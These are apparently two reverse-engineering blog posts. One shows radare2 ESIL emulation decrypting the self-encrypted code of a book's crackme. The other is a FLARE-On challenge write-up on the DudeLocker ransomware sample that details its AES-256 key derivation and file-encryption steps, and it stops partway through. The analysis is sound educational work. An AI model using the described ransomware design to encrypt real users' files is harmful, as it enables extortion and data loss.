by

Emulating Assembly in Radare2

No comments yet

Categories: Reverse Engineering, Tags:

I’ve still been playing around with Radare2 when I can, and I wanted to see how easy it was to emulate a block of disassembled code using its Evaluable Strings Intermediate Language, or ESIL. For an example, I went back to Eldad Eilam’s Reversing: Secrets of Reverse Engineering.

In Chapter 11, he shows how to reverse a program called Defender.exe that requires a correct username and serial number. There are several protections and anti-reversing tricks this program employs. Specifically, I was looking at some of the sections of code that are encrypted. There are several of these in this program and they all start with a normal looking function followed by some data. That data is decrypted, executed, then encrypted once again.

The executable is available for download in the Downloads section of the book’s page on Wiley. The code I’m going to be referencing is discussed around page 386 (function at 0x4033d1) and page 397 (function at 0x402eef).

Initializing r2 and Observing the Encrypted Code

Assuming you have radare2 and the executable, the initial startup process is straightforward, using the aaa command for initial analysis:

$ r2 Defender.exe
 -- Here be dragons.
[0x00404232]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00404232]>

Seek to the first function and print it out.

[0x00404232]> s 0x4033d1
[0x004033d1]> pd 100
┌ (fcn) fcn.004033d1 268
│   fcn.004033d1 (int arg_3h);
│              ; CALL XREF from 0x0040423f (entry0)
│           0x004033d1      55             push ebp
│           0x004033d2      8bec           mov ebp, esp
│           0x004033d4      81ec2c020000   sub esp, 0x22c
│           0x004033da      53             push ebx
│           0x004033db      56             push esi
│           0x004033dc      57             push edi
│           0x004033dd      68dd344000     push 0x4034dd
│           0x004033e2      58             pop eax
│           0x004033e3      8945e0         mov dword [local_20h], eax
│           0x004033e6      68fd414000     push 0x4041fd               ; "_^[....`@"
│           0x004033eb      58             pop eax
│           0x004033ec      8945e8         mov dword [local_18h], eax
│           0x004033ef      b8e5344000     mov eax, 0x4034e5
│           0x004033f4      8905d6344000   mov dword [0x4034d6], eax   ; [0x4034d6:4]=0x4034e5
│           0x004033fa      c745f8010000.  mov dword [local_8h], 1
│           0x00403401      837df800       cmp dword [local_8h], 0
│       ┌─< 0x00403405 7466 je 0x40346d 
...snip... 
│ │ ; JMP XREF from 0x0040346b (fcn.004033d1) 
│ └──>      0x004034d5      68e5344000     push 0x4034e5
│           0x004034da      5b             pop ebx
└           0x004034db      ffe3           jmp ebx
...snip...
[0x004033d1]> pd 10 @0x4034e5
               ; DATA XREF from 0x004033ef (fcn.004033d1)
               ; DATA XREF from 0x004034d5 (fcn.004033d1)
        ┌─< 0x004034e5      7e10           jle 0x4034f7
        │   0x004034e7      b98842c1f8     mov ecx, 0xf8c14288
        │   0x004034ec      e68b           out 0x8b, al
        │   0x004034ee      2b7f7d         sub edi, dword [edi + 0x7d]
        │   0x004034f1      f1             int1
        │   0x004034f2      0289dfc5cbc8   add cl, byte [ecx - 0x37343a21]
            0x004034f8      b114           mov cl, 0x14
            0x004034fa      214f2a         and dword [edi + 0x2a], ecx
            0x004034fd      6e             outsb dx, byte [esi]
            0x004034fe      08fd           or ch, bh

I’m not going to go into detail on everything going on here since it’s covered in the book. The function starts out like all these encrypted functions do, and towards the end there is a PUSH-POP-JMP sequence. The JMP at 0x4034db will move execution to 0x4034e5. When starting disassembly from that line, it’s clear this doesn’t look like legitimate assembly code because it’s encrypted.

Setting up the ESIL Environment

Using ESIL, it’s fairly simple to get radare2 to decrypt this for us. First set up the ESIL environment:

[0x004033d1]> e asm.emu=true
[0x004033d1]> e asm.emustr=true
[0x004033d1]> e asm.esil=true

The first two commands modify the disassembly so that ESIL information is displayed. The output with asm.emu is verbose, while asm.emustr only shows the most useful information. Setting asm.esil=true shows what the ESIL looks like. The following two snippets show the difference between the asm.emu and asm.esil settings:

[0x004033d1]> s 0x4033d1
[0x004033d1]> e asm.emu=true
[0x004033d1]> pd 10
┌ (fcn) fcn.004033d1 268
│   fcn.004033d1 (int arg_3h);
│              ; CALL XREF from 0x0040423f (entry0)
│           0x004033d1      55             push ebp                    ; esp=0xfffffffffffffffc -> 0xffffff00
│           0x004033d2      8bec           mov ebp, esp                ; ebp=0xfffffffc -> 0xffffff00
│           0x004033d4      81ec2c020000   sub esp, 0x22c              ; esp=0xfffffdd0 -> 0xffffff00  ; of=0x0  ; sf=0x1 -> 0x3009000  ; zf=0x0  ; pf=0x0  ; cf=0x0
│           0x004033da      53             push ebx                    ; esp=0xfffffdcc -> 0xffffff00
│           0x004033db      56             push esi                    ; esp=0xfffffdc8 -> 0xffffff00
│           0x004033dc      57             push edi                    ; esp=0xfffffdc4 -> 0xffffff00
│           0x004033dd      68dd344000     push 0x4034dd               ; esp=0xfffffdc0 -> 0xffffff00
│           0x004033e2      58             pop eax                     ; eax=0xffffffff -> 0xffffff00  ; esp=0xfffffdc4 -> 0xffffff00
│           0x004033e3      8945e0         mov dword [local_20h], eax
│           0x004033e6      68fd414000     push 0x4041fd               ; esp=0xfffffdc0 -> 0xffffff00
[0x004033d1]> s 0x4033d1
[0x004033d1]> e asm.esil=true
[0x004033d1]> pd 10
┌ (fcn) fcn.004033d1 268
│   fcn.004033d1 (int arg_3h);
│              ; CALL XREF from 0x0040423f (entry0)
│           0x004033d1      55             ebp,4,esp,-=,esp,=[4]       ; esp=0xfffffffffffffffc -> 0xffffff00
│           0x004033d2      8bec           esp,ebp,=                   ; ebp=0xfffffffc -> 0xffffff00
│           0x004033d4      81ec2c020000   556,esp,-=,$o,of,=,$s,sf,=,$z,zf,=,$p,pf,=,$b4,cf,= ; esp=0xfffffdd0 -> 0xffffff00  ; of=0x0  ; sf=0x1 -> 0x3009000  ; zf=0x0  ; pf=0x0  ; cf=0x0
│           0x004033da      53             ebx,4,esp,-=,esp,=[4]       ; esp=0xfffffdcc -> 0xffffff00
│           0x004033db      56             esi,4,esp,-=,esp,=[4]       ; esp=0xfffffdc8 -> 0xffffff00
│           0x004033dc      57             edi,4,esp,-=,esp,=[4]       ; esp=0xfffffdc4 -> 0xffffff00
│           0x004033dd      68dd344000     4207837,4,esp,-=,esp,=[4]   ; esp=0xfffffdc0 -> 0xffffff00
│           0x004033e2      58             esp,[4],eax,=,4,esp,+=      ; eax=0xffffffff -> 0xffffff00  ; esp=0xfffffdc4 -> 0xffffff00
│           0x004033e3      8945e0         eax,0x20,ebp,-,=[4]
│           0x004033e6      68fd414000     4211197,4,esp,-=,esp,=[4]   ; esp=0xfffffdc0 -> 0xffffff00

These options aren’t really needed for the code emulation part, at least as far as I’ve found, but provide some more insight into what r2 will be doing during the emulation. The documentation seems to say that at least asm.emu is needed, but it worked fine for me when I didn’t include that. Maybe more complex code might require it.

[0x004033d1]> e asm.bits=32
[0x004033d1]> e asm.arch=x86
[0x004033d1]> e asm.emuwrite=true
[0x004033d1]> e io.cache=true

The first two commands above also don’t seem to be necessary (maybe because they are the defaults and match the file we’re looking at), but probably don’t hurt to ensure r2 will handle the code correctly. The last two are important. They allow r2 to modify memory and enable cache for io changes, respectively.

[0x004033d1]> s 0x4033d1
[0x004033d1]> aei
[0x004033d1]> aeim
[0x004033d1]> aeip
[0x004033d1]> aer
oeax = 0x00000000
eax = 0x00000000
ebx = 0x00000000
ecx = 0x004041f9
edx = 0x00000000
esi = 0x00000000
edi = 0x00000000
esp = 0x00177dc4
ebp = 0x00177ffc
eip = 0x004033d1
eflags = 0x00000081

These commands finally set up the ESIL environment and display the current register values. First, aei initializes the ESIL VM state, aeim initializes the ESIL VM stack, and aeip initializes the ESIL program counter to the current address. Finally, aer displays the current registry values. The environment is ready to begin emulating the code. You could step through using various debugger-like commands such as aes, aeso, aec, which are all documented on the ESIL page above. The easiest way for this code, though, is to let it execute until just before jumping to the decrypted code.

[0x004033d1]> aecu 0x4034db
[0x004034d5]> pd 3
│              ; JMP XREF from 0x0040346b (fcn.004033d1)
│           0x004034d5      68e5344000     push 0x4034e5
│           0x004034da      5b             pop ebx
└           0x004034db      ffe3           jmp ebx
[0x004034d5]> pd 10 @0x4034e5
               ; DATA XREF from 0x004033ef (fcn.004033d1)
               ; DATA XREF from 0x004034d5 (fcn.004033d1)
            0x004034e5      8b4508         mov eax, dword [ebp + 8]    ; [0x8:4]=4
            0x004034e8      8945b0         mov dword [ebp - 0x50], eax
            0x004034eb      8b45b0         mov eax, dword [ebp - 0x50]
            0x004034ee      8b4db0         mov ecx, dword [ebp - 0x50]
            0x004034f1      03483c         add ecx, dword [eax + 0x3c] ; "PE"
            0x004034f4      894da8         mov dword [ebp - 0x58], ecx
            0x004034f7      8b45a8         mov eax, dword [ebp - 0x58] ; "PE"
            0x004034fa      8b4db0         mov ecx, dword [ebp - 0x50]
            0x004034fd      034878         add ecx, dword [eax + 0x78]
            0x00403500      894db8         mov dword [ebp - 0x48], ecx

0x4034db contains the “jmp ebx” instruction we looked at earlier and this aecu command tells r2 to emulate code until it reaches instruction 0x4034db. For some reason, r2 stopped at 0x4034d5, but we can see we are at the PUSH-POP-JMP sequence, and if we print the disassembly at 0x4034e5, it’s now decrypted.

Resetting ESIL and Decrypting Another Function

The second code segment starts at 0x402eef.

[0x004034d5]> pd 100 @0x402eef
            0x00402eef      55             push ebp
            0x00402ef0      8bec           mov ebp, esp
            0x00402ef2      83ec60         sub esp, 0x60               ; '`'
            0x00402ef5      53             push ebx
            0x00402ef6      68f62f4000     push 0x402ff6
            0x00402efb      58             pop eax
            0x00402efc      8945e4         mov dword [ebp - 0x1c], eax
            0x00402eff      68e2304000     push 0x4030e2
            0x00402f04      58             pop eax
            0x00402f05      8945f0         mov dword [ebp - 0x10], eax
            0x00402f08      b8fe2f4000     mov eax, 0x402ffe
            0x00402f0d      8905ef2f4000   mov dword [0x402fef], eax   ; [0x402fef:4]=0x402ffe
            0x00402f13      c745f4010000.  mov dword [ebp - 0xc], 1
            0x00402f1a      837df400       cmp dword [ebp - 0xc], 0
        ┌─< 0x00402f1e 7466 je 0x402f86 ; unlikely 
...snip...
    └──>    0x00402fee      68fe2f4000     push 0x402ffe
            0x00402ff3      5b             pop ebx
            0x00402ff4      ffe3           jmp ebx
...snip...
[0x004034d5]> pd 10 @0x402ffe
            0x00402ffe      b3f8           mov bl, 0xf8
            0x00403000      b265           mov dl, 0x65                ; 'e' ; "run in DOS mode....$"
        ┌─< 0x00403002      7c21           jl 0x403025                ; likely
        │   0x00403004      ce             into
        │   0x00403005      c8373783       enter 0x3737, -0x7d
        │   0x00403009      ec             in al, dx
        │   0x0040300a      39d6           cmp esi, edx
       ┌──< 0x0040300c      7614           jbe 0x403022               ; likely
       ││   0x0040300e      8e6e0a         mov gs, word [esi + 0xa]    ; [0xa:2]=0
       ││   0x00403011      d98577ff317e   fld dword [ebp + 0x7e31ff77]

We can see the same structure in this code: same sequence setting up the function, the PUSH-POP-JMP, and that JMP going to nonsense assembly code.

First, we’ll clear out the ESIL environment to start fresh.

[0x004034d5]> ar0
[0x004034d5]> aeim-
[0x00000000]> aei-

These commands clear the registers, de-initialize the VM stack, an de-initialize the VM state. Now we’ll run all the commands at once, this time stopping at the JMP at 0x402ff4.

[0x00000000]> s 0x402eef
[0x00402eef]> aei
[0x00402eef]> aeim
[0x00402eef]> aeip
[0x00402eef]> aer
oeax = 0x00000000
eax = 0x00000000
ebx = 0x00000000
ecx = 0x00000000
edx = 0x00000000
esi = 0x00000000
edi = 0x00000000
esp = 0x00178000
ebp = 0x00178000
eip = 0x00402eef
eflags = 0x00000000
[0x00402eef]> aecu 0x402ff4
[0x00402fee]> pd 10 @0x402ffe
            0x00402ffe      33c0           xor eax, eax
            0x00403000      40             inc eax
        ┌─< 0x00403001      0f84c0000000   je 0x4030c7                ; unlikely
        │   0x00403007      0f31           rdtsc
        │   0x00403009      8945f8         mov dword [ebp - 8], eax
        │   0x0040300c      8955fc         mov dword [ebp - 4], edx
        │   0x0040300f      a100604000     mov eax, dword [section_end..data] ; [0x406000:4]=-1 ; LEA section_end..data ; section_end..data
        │   0x00403014      8945b0         mov dword [ebp - 0x50], eax
        │   0x00403017      8b45b0         mov eax, dword [ebp - 0x50]
        │   0x0040301a      833800         cmp dword [eax], 0

As you can see, the emulation worked and the code is now decrypted.

Scripting the Commands with r2pipe

All of these commands can be put in a simple Python r2pipe script as follows:

$ cat defender.py
import sys
import r2pipe
r = r2pipe.open()
r.cmd('aaa')
r.cmd('e asm.emu=true')
r.cmd('e asm.emustr=true')
r.cmd('e asm.bits=32')
r.cmd('e asm.arch=x86')
r.cmd('e asm.emuwrite=true')
r.cmd('e io.cache=true')
r.cmd('s 0x4033d1')
r.cmd('aei')
r.cmd('aeim')
r.cmd('aeip')
r.cmd('aer')
r.cmd('aecu 0x0040346b')
r.cmd('ar0')
r.cmd('aeim-')
r.cmd('aei-')
r.cmd('s 0x402eef')
r.cmd('aei')
r.cmd('aeim')
r.cmd('aeip')
r.cmd('aer')
r.cmd('aecu 0x402ff4')

Finally, the script can be executed, then the functions reviewed as follows:

$ r2 -i defender.py Defender.exe
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
 -- r2 -- leading options since 2006
[0x00402fee]> pd 10 @0x4034e5
               ; DATA XREF from 0x004033ef (fcn.004033d1)
               ; DATA XREF from 0x004034d5 (fcn.004033d1)
            0x004034e5      8b4508         mov eax, dword [ebp + 8]    ; [0x8:4]=4
            0x004034e8      8945b0         mov dword [ebp - 0x50], eax
            0x004034eb      8b45b0         mov eax, dword [ebp - 0x50]
            0x004034ee      8b4db0         mov ecx, dword [ebp - 0x50]
            0x004034f1      03483c         add ecx, dword [eax + 0x3c] ; "PE"
            0x004034f4      894da8         mov dword [ebp - 0x58], ecx
            0x004034f7      8b45a8         mov eax, dword [ebp - 0x58] ; "PE"
            0x004034fa      8b4db0         mov ecx, dword [ebp - 0x50]
            0x004034fd      034878         add ecx, dword [eax + 0x78]
            0x00403500      894db8         mov dword [ebp - 0x48], ecx
[0x00402fee]> pd 10 @0x402ffe
            0x00402ffe      33c0           xor eax, eax
            0x00403000      40             inc eax
        ┌─< 0x00403001      0f84c0000000   je 0x4030c7                ; unlikely
        │   0x00403007      0f31           rdtsc
        │   0x00403009      8945f8         mov dword [ebp - 8], eax
        │   0x0040300c      8955fc         mov dword [ebp - 4], edx
        │   0x0040300f      a100604000     mov eax, dword [section_end..data] ; [0x406000:4]=-1 ; LEA section_end..data ; section_end..data
        │   0x00403014      8945b0         mov dword [ebp - 0x50], eax
        │   0x00403017      8b45b0         mov eax, dword [ebp - 0x50]
        │   0x0040301a      833800         cmp dword [eax], 0

by

2016 FLARE-On Challenge 2

1 comment

Categories: Challenges, Reverse Engineering

I didn’t get to spend a lot of time on the FLARE-On challenges this year, but I worked through the first 2 and used it as an opportunity to learn Radare2 a little better.

Here’s my solution to challenge 2.

$ md5 DudeLocker.exe BusinessPapers.doc
MD5 (DudeLocker.exe) = 4c262d5ab4bf8586d303bfa91a05b42b
MD5 (BusinessPapers.doc) = 857da52bdcaec6da473a59e2fe66df0a

Here is my r2 project file if you want to follow along with my notes. It should be unzipped in “.config/radare2/projects”, edit the challenge2 file and change the line “e file.path = /Users/yourname/challenge02/DudeLocker.exe” to the correct path for DudeLocker.exe, then open it with “r2 -p challenge2”.

Challenge 2 provides two files: an executable and a DOC based on the file extension. However, it appears the DOC has been encrypted. The challenge should be to decrypt this document file by reversing the method of encryption used by DudeLocker.exe.

$ file DudeLocker.exe BusinessPapers.doc
DudeLocker.exe:     PE32 executable for MS Windows (console) Intel 80386 32-bit
BusinessPapers.doc: data
$ xxd BusinessPapers.doc | head
00000000: 1bb9 6ebb 82c9 3d9a e290 fd8d c59a d40f  ..n...=.........
00000010: adb8 9376 511e 5f3a 37b5 d08a b5b8 02ae  ...vQ._:7.......
00000020: 503c 1926 676e 5ecd 48c4 3def d8ed 8ef1  P<.&gn^.H.=.....
00000030: 24af 5f4d 1c0c 7281 d583 a1a5 f729 5c2b  $._M..r......)\+

Running strings on the binary found a few interesting things. Obviously, it’s using a lot of Crypt* functions, which confirms its capabilities. There’s also JFIF, which could indicate a JPEG file, and there is a .JPG filename in the unicode strings. The unicode strings also show some things that may indicate anti-RE elements. Since OutputDebugString is imported, it could be that these are debug messages, rather than output directly to the console.

$ gstrings DudeLocker.exe  | more
...snip...
OutputDebugStringW
FindResourceW
...snip...
CryptAcquireContextW
CryptReleaseContext
CryptDeriveKey
CryptDestroyKey
CryptSetKeyParam
CryptGetKeyParam
CryptGetHashParam
CryptEncrypt
CryptCreateHash
CryptHashData
CryptDestroyHash
...snip...
JFIF
...snip...
$ gstrings -el DudeLocker.exe  | more
Briefcase
\ve_vant_ze_money.jpg
Obviously you're not a reverse engineer...
I'm out of my element

Looking at some info about the file in radare2, it looks like JFIF is in the .rsrc section, which would go along with the theory that it’s a JPEG stored in a resource.

$ r2 DudeLocker.exe
[0x00401b80]> aaaa
[0x00401b80]> izz~JFIF
vaddr=0x00404066 paddr=0x00001866 ordinal=075 sz=5 len=4 section=.rsrc type=ascii string=JFIF
[0x00401b80]> iS
[Sections]
idx=00 vaddr=0x00401000 paddr=0x00000400 sz=3072 vsz=2956 perm=m-r-x name=.text
idx=01 vaddr=0x00402000 paddr=0x00001000 sz=1536 vsz=1390 perm=m-r-- name=.rdata
idx=02 vaddr=0x00403000 paddr=0x00001600 sz=512 vsz=250 perm=m-rw- name=.data
idx=03 vaddr=0x00404000 paddr=0x00001800 sz=136192 vsz=135776 perm=m-r-- name=.rsrc

4 sections

Running the file, doesn’t produce any output. But if we run it with the Sysinternals DebugView open, we can see one of the output strings.

No output when run

DebugView shows debug string output

Radare puts us in the entry0 function, which is a small stub with a call to sub.SHELL32.dll_SHGetFolderPathW_9a0 based on the auto-analysis. We can go into thus function and get a quick overview of what it’s doing by looking at all the "calls" it makes.

[0x00401b80]> s sub.SHELL32.dll_SHGetFolderPathW_9a0
[0x004019a0]> pdf~call
│           0x004019e3      ff1594204000   call dword [sym.imp.SHELL32.dll_SHGetFolderPathW] ; "N%" @ 0x402094 ; get User Desktop path
│       │   0x004019f4      ff1538204000   call dword [sym.imp.KERNEL32.dll_lstrlenW] ; "x#" @ 0x402038
│       │   0x00401a1a      e8e1f5ffff     call sym.buildPathToBriefcase
│       │   0x00401a3b      ff1588204000   call dword [sym.imp.KERNEL32.dll_CreateFileW] ; sym.imp.KERNEL32.dll_CreateFileW
│      ││   0x00401a4e      ff1560204000   call dword [sym.imp.KERNEL32.dll_CloseHandle] ; "F#" @ 0x402060
│     │ │   0x00401a61      ff1540204000   call dword [sym.imp.KERNEL32.dll_OutputDebugStringW] ; sym.imp.KERNEL32.dll_OutputDebugStringW
│     └───> 0x00401a6e      e8cdf5ffff     call sym.checkVolumeSerialNumber ; compares SN to 0x7dab1d35
│     │││   0x00401a87      ff1540204000   call dword [sym.imp.KERNEL32.dll_OutputDebugStringW] ; sym.imp.KERNEL32.dll_OutputDebugStringW
│    │ ││   0x00401aa1      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│    │ ││   0x00401aa8      ff1584204000   call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; sym.imp.KERNEL32.dll_HeapAlloc
│    │ ││   0x00401ac2      e879feffff     call sym.decryptKeyString   ; fills seedData
│    │ ││   0x00401ada      e8a1f5ffff     call sym.generateEncryptionKey
│   ││ ││   0x00401aff      e8fcf7ffff     call sym.encryptFilesInFolder
│   │││││   0x00401b1a      ff1534204000   call dword [sym.imp.KERNEL32.dll_lstrcatW] ; "l#" @ 0x402034
│   │││││   0x00401b27      e8f4f6ffff     call sym.writeRansomImage
│   │││││   0x00401b2f      e8bcfbffff     call sym.getVersion
│  ││││││   0x00401b44      e8d7fdffff     call sym.setParameterInfo
│   ││ ││   0x00401b52      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│   ││ ││   0x00401b59      ff1580204000   call dword [sym.imp.KERNEL32.dll_HeapFree] ; sym.imp.KERNEL32.dll_HeapFree
│   ││ ││   0x00401b67      e8e4f5ffff     call sym.cleanUpCrypto

This is after I had done my analysis on the file. The steps of the ransomware are as follows:

  1. Determine path to %USERPROFILE%\Desktop\Briefcase.
  2. If this folder doesn’t exist, print debug message “Obviously you’re not a reverse engineer…” and exit.
  3. Compare the hard drive serial number to 0x7dab1d35
  4. If the serial number doesn’t match, print debug message “I’m out of my element” and exit.
  5. Using the hard drive serial number, decrypt 37 bytes of data at 0x403000.
  6. Generate an AES encryption key using the above decrypted string.
  7. Encrypt each file in the folder.
  8. Write the JPEG resource to the “Briefcase” folder and set it as the Desktop wallpaper.

Step 5, where the byte array is decrypted does the following. It basically divides the counter by 4 and uses the remainder to choose one of the bytes of the volume serial number, then XORs the current byte in the string with that value.

│      ││   0x0040195f      8b5508         mov edx, dword [ebp + encryptedKeyString] ; [0x8:4]=4
│      ││   0x00401962      0355fc         add edx, dword [ebp - counter]
│      ││   0x00401965      0fb60a         movzx ecx, byte [edx]       ; get current byte
│      ││   0x00401968      8b45fc         mov eax, dword [ebp - counter]
│      ││   0x0040196b      33d2           xor edx, edx
│      ││   0x0040196d      be04000000     mov esi, 4
│      ││   0x00401972      f7f6           div esi                     ; divide counter by 4
│      ││   0x00401974      8b4510         mov eax, dword [ebp + volumeSerialNumber] ; [0x10:4]=184
│      ││   0x00401977      0fb61410       movzx edx, byte [eax + edx] ; select a byte from VSN based on remainder or division
│      ││   0x0040197b      33ca           xor ecx, edx                ; XOR current byte with above value
│      ││   0x0040197d      8b450c         mov eax, dword [ebp + seedData] ; [0xc:4]=0xffff
│      ││   0x00401980      0345fc         add eax, dword [ebp - counter]
│      ││   0x00401983      8808           mov byte [eax], cl          ; store result in seedData
│      └──< 0x00401985      ebc7           jmp sym.incrementCounter

The byte array below gets decrypted to “thosefilesreallytiedthefoldertogether” and is stored in “seedData”. I was going to write a Python version of this, but figured it would be much easier to just run DudeLocker.exe in a debugger and break right after the decryption function was called.

[0x00401940]> px 37 @  0x403000
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00403000, 4175 c40e 507b c211 506e d918 5471 c704  Au..P{..Pn..Tq..
0x00403010, 4174 ce19 4175 ce1b 5a71 cf18 4769 c41a  At..Au..Zq..Gi..
0x00403020, 5069 c318 47                             Pi..G

Before sym.decryptKeyString:

before decrypting

After sym.decryptKeyString:

after decrypting

In Step 6, the CBC mode AES key object is generated. This uses the SHA1 hash of the decrypted string to generate the key.

[0x00401580]> s sym.generateEncryptionKey
[0x00401080]> pdf~call
│           0x00401097      ff151c204000   call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW] ; "l$" @ 0x40201c
│       │   0x004010a1      ff1578204000   call dword [sym.imp.KERNEL32.dll_GetLastError] ; sym.imp.KERNEL32.dll_GetLastError
│      ││   0x004010ba      ff151c204000   call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW] ; "l$" @ 0x40201c
│    │ │    0x004010e5      e896000000     call sym.deriveAESKey
│    ││││   0x00401104      ff1518204000   call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext] ; sym.imp.ADVAPI32.dll_CryptReleaseContext
│    │││    0x0040111c      ff150c204000   call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam] ; sym.imp.ADVAPI32.dll_CryptSetKeyParam
│    ││││   0x00401132      e819000000     call sym.cleanUpCrypto
[0x00401080]> s sym.generateEncryptionKey
[0x00401080]> pdf
╒ (fcn) sym.generateEncryptionKey 196
│   sym.generateEncryptionKey (int phKey, int phProv, int seedData, int seedDataLength);
│           ; var int cipher_mode_CBC @ ebp-0x4
│           ; arg int phKey @ ebp+0x8
│           ; arg int phProv @ ebp+0xc
│           ; arg int seedData @ ebp+0x10
│           ; arg int seedDataLength @ ebp+0x14
│           ; CALL XREF from 0x00401ada (sym.main_start)
│           0x00401080      55             push ebp
│           0x00401081      8bec           mov ebp, esp
│           0x00401083      51             push ecx
│           0x00401084      c745fc010000.  mov dword [ebp - cipher_mode_CBC], 1
│           0x0040108b      6a00           push 0
│           0x0040108d      6a18           push 0x18                   ; "@" ; PROV_RSA_AES
│           0x0040108f      6a00           push 0
│           0x00401091      6a00           push 0
│           0x00401093      8b450c         mov eax, dword [ebp + phProv] ; [0xc:4]=0xffff
│           0x00401096      50             push eax
│           0x00401097      ff151c204000   call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW] ; "l$" @ 0x40201c
...snip...
│   └───└─> 0x004010ce      8b5514         mov edx, dword [ebp + seedDataLength] ; [0x14:4]=0
│    │ │    0x004010d1      52             push edx
│    │ │    0x004010d2      8b4510         mov eax, dword [ebp + seedData] ; [0x10:4]=184
│    │ │    0x004010d5      50             push eax
│    │ │    0x004010d6      6810660000     push 0x6610                 ; CALG_AES_256
│    │ │    0x004010db      8b4d0c         mov ecx, dword [ebp + phProv] ; [0xc:4]=0xffff
│    │ │    0x004010de      8b11           mov edx, dword [ecx]
│    │ │    0x004010e0      52             push edx
│    │ │    0x004010e1      8b4508         mov eax, dword [ebp + phKey] ; [0x8:4]=4
│    │ │    0x004010e4      50             push eax
│    │ │    0x004010e5      e896000000     call sym.deriveAESKey
...snip...
│    │││└─> 0x0040110e      6a00           push 0
│    │││    0x00401110      8d55fc         lea edx, [ebp - cipher_mode_CBC]
│    │││    0x00401113      52             push edx
│    │││    0x00401114      6a04           push 4                      ; KP_MODE
│    │││    0x00401116      8b4508         mov eax, dword [ebp + phKey] ; [0x8:4]=4
│    │││    0x00401119      8b08           mov ecx, dword [eax]
│    │││    0x0040111b      51             push ecx
│    │││    0x0040111c      ff150c204000   call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam] ; sym.imp.ADVAPI32.dll_CryptSetKeyParam
...snip...

[0x00401080]> s sym.deriveAESKey
[0x00401180]> pdf~call
│       │   0x004011ac      ff1500204000   call dword [sym.imp.ADVAPI32.dll_CryptCreateHash] ; sym.imp.ADVAPI32.dll_CryptCreateHash
│    ││ │   0x004011d4      ff1520204000   call dword [sym.imp.ADVAPI32.dll_CryptHashData] ; sym.imp.ADVAPI32.dll_CryptHashData
│    ││││   0x004011e2      ff1524204000   call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash] ; ",%" @ 0x402024
│   │││ │   0x004011ff      ff1514204000   call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey] ; sym.imp.ADVAPI32.dll_CryptDeriveKey
│   │││ │   0x00401211      ff1524204000   call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash] ; ",%" @ 0x402024
[0x00401180]> pdf
╒ (fcn) sym.deriveAESKey 158
│   sym.deriveAESKey (int encryptionKey, int pointerToCryptoServProv, int algId_AES256, int seedData, int seedDataLength);
│           ; var int hHash @ ebp-0x8
│           ; var int deriveSuccess @ ebp-0x1
│           ; var int local_0h @ ebp-0x0
│           ; arg int encryptionKey @ ebp+0x8
│           ; arg int pointerToCryptoServProv @ ebp+0xc
│           ; arg int algId_AES256 @ ebp+0x10
│           ; arg int seedData @ ebp+0x14
│           ; arg int seedDataLength @ ebp+0x18
│           ; CALL XREF from 0x004010e5 (sym.generateEncryptionKey)
│           0x00401180      55             push ebp
│           0x00401181      8bec           mov ebp, esp
│           0x00401183      83ec08         sub esp, 8
...snip...
|      └──> ;-- sym.createHash:
│      └──> 0x0040119b      8d45f8         lea eax, [ebp - hHash]
│       │   0x0040119e      50             push eax
│       │   0x0040119f      6a00           push 0
│       │   0x004011a1      6a00           push 0
│       │   0x004011a3      6804800000     push 0x8004                 ; CALG_SHA1
│       │   0x004011a8      8b4d0c         mov ecx, dword [ebp + pointerToCryptoServProv] ; [0xc:4]=0xffff
│       │   0x004011ab      51             push ecx
│       │   0x004011ac      ff1500204000   call dword [sym.imp.ADVAPI32.dll_CryptCreateHash] ; sym.imp.ADVAPI32.dll_CryptCreateHash
...snip...
|    ││└──> ;-- sym.hashSeedData:
│    ││└──> 0x004011c6      6a00           push 0
│    ││ │   0x004011c8      8b5518         mov edx, dword [ebp + seedDataLength] ; [0x18:4]=64 ; "@"
│    ││ │   0x004011cb      52             push edx
│    ││ │   0x004011cc      8b4514         mov eax, dword [ebp + seedData] ; [0x14:4]=0
│    ││ │   0x004011cf      50             push eax
│    ││ │   0x004011d0      8b4df8         mov ecx, dword [ebp - hHash]
│    ││ │   0x004011d3      51             push ecx
│    ││ │   0x004011d4      ff1520204000   call dword [sym.imp.ADVAPI32.dll_CryptHashData] ; sym.imp.ADVAPI32.dll_CryptHashData
...snip...
|   │││└──> ;-- sym.deriveKeyUsingHash:
│   │││└──> 0x004011ed      8b4508         mov eax, dword [ebp + encryptionKey] ; [0x8:4]=4
│   │││ │   0x004011f0      50             push eax
│   │││ │   0x004011f1      6a01           push 1                      ; CRYPT_EXPORTABLE
│   │││ │   0x004011f3      8b4df8         mov ecx, dword [ebp - hHash]
│   │││ │   0x004011f6      51             push ecx
│   │││ │   0x004011f7      8b5510         mov edx, dword [ebp + algId_AES256] ; [0x10:4]=184
│   │││ │   0x004011fa      52             push edx
│   │││ │   0x004011fb      8b450c         mov eax, dword [ebp + pointerToCryptoServProv] ; [0xc:4]=0xffff
│   │││ │   0x004011fe      50             push eax
│   │││ │   0x004011ff      ff1514204000   call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey] ; sym.imp.ADVAPI32.dll_CryptDeriveKey

In Step 7, each file in the “Briefcase” folder is iterated over, and folders are entered recursively. For each file, the filename is converted to lowercase then from WideChar to MultiByte, then the MD5 of this format of the filename is taken. This MD5 hash is used as the initialization vector for encrypting the file.

